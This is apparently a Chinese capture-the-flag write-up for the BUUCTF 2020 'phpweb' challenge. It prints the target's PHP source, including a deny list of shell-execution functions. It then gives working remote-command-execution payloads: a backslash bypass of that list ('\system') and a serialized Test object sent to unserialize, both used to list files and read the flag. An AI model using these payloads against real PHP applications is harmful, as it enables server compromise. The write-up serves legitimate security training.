BUUCTF_2020网鼎杯[朱雀组]phpweb
启动环境
页面出现warning,并且发现页面存在自动刷新,使用burpsuite抓包:
发现两个参数func和p
并且发现页面中有2024-10-24 03:55:59 am,判断执行了date函数,根据func和p的形式猜测函数执行,func输入函数,p输入语句
获取源代码:func=highlight_file&p=index.php
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
查看php代码:
- $disable_fun列出来函数黑名单,过滤了非常多的函数
- call_user_func()函数把第一个参数作为回调函数调用
- 存在Test类,类中包含魔术方法__destruct()(考虑反序列化)
方法1:
在in_array()方法执行时,可以使用\绕过,例如system函数改为\system
所以直接用\绕过黑名单,实现命令执行:
func=\system&p=ls
找一下flag:
func=\system&p=find / -name flag*
发现路径:/tmp/flagoefiu4r93
查看文件:
func=\system&p=cat /tmp/flagoefiu4r93
得到flag:
方法2:
上面分析代码的时候提到有Test类,并且并没有将serialize()和unserialize()函数过滤,所以可以使用反序列化
<?php
class Test {
public $func;
public $p;
}
$tmp = new Test();
$tmp->func = "system";
$tmp->p = "ls";
echo serialize($tmp)
?>
得到序列化之后的字符串:
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
同样得到:
找flag:
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}
查看flag文件:
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
最终得到flag。
总结
考点:/绕过、反序列化、代码审计、find命令查找flag文件
标签:tmp,BUUCTF,函数,system,flag,2020,func,Test,网鼎杯 From: https://www.cnblogs.com/rain7/p/18499776